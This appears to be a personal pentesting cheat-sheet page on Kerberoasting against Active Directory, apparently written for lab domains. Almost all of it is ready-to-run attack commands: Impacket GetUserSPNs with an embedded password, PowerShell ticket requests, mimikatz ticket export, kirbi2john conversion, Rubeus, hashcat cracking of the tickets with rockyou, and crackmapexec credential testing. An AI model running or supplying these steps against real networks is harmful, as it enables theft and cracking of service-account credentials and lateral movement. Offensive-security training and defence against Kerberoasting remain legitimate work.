silver-xoxo

Kerberoasting

2 min read

It basically targets SPN accounts

Prerequires :

  • domain user credentials (cleartext or just an NTLM hash if using Impacket),
  • a shell in the context of a domain user, or account such as SYSTEM.

Once we have this level of access, we can start. We must also know which host in the domain is a Domain Controller so we can query it.

Attack

From - Linux

Tool : impacket Set up impacket - Impacket

Listing SPN accounts

GetUserSPNs.py -dc-ip 172.16.5.5 pokemon.LOCAL/forend:Klmcargo2

Requesting all TGS Ticket

GetUserSPNs.py -dc-ip 172.16.5.5 pokeon.LOCAL/forend -request

Requesting a Specific User TGS

GetUserSPNs.py -dc-ip 172.16.5.5 pokemon.LOCAL/forend -request-user sqldev

Saving the TGS file to an output file

GetUserSPNs.py -dc-ip 172.16.5.5 pokemon.LOCAL/forend:Klmcargo2 -request-user sqldev -outputfile sqldev_tgs

Cracking the hash offline

hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt

Testing Authentication against domain controllers

sudo crackmapexec smb {{dc_ip}} -u {{username}} -p {{password}}

From - Windows

Manual way

Checking for SPNs

setspn.exe -Q */*

focus on user accounts and ignore the computer accounts returned by the tool.

Requesting SPNs TGS tickets using powershell

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "{{SPN}}"

Retrieving all SPNs tickets

setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Extracting all tickets using mimikatz [base64 format]

base64 /out:true
 
kerberos::list /export

removing new lines from the base64 output

echo "<base64 blob>" |  tr -d \\n

making kirbi file

cat encoded_file | base64 -d > sqldev.kirbi

kirbi2john.py sqldev.kirbi

This will create a file called crack_file. We then must modify the file a bit to be able to use Hashcat against the hash.

sanitizing file for hash cat

sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

Cracking the hash

hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt

Automated Tool Based

Kerberoasting

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

crack the hash

sudo hashcat -m 13100 hashes.kerberoast /wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Graph View

Backlinks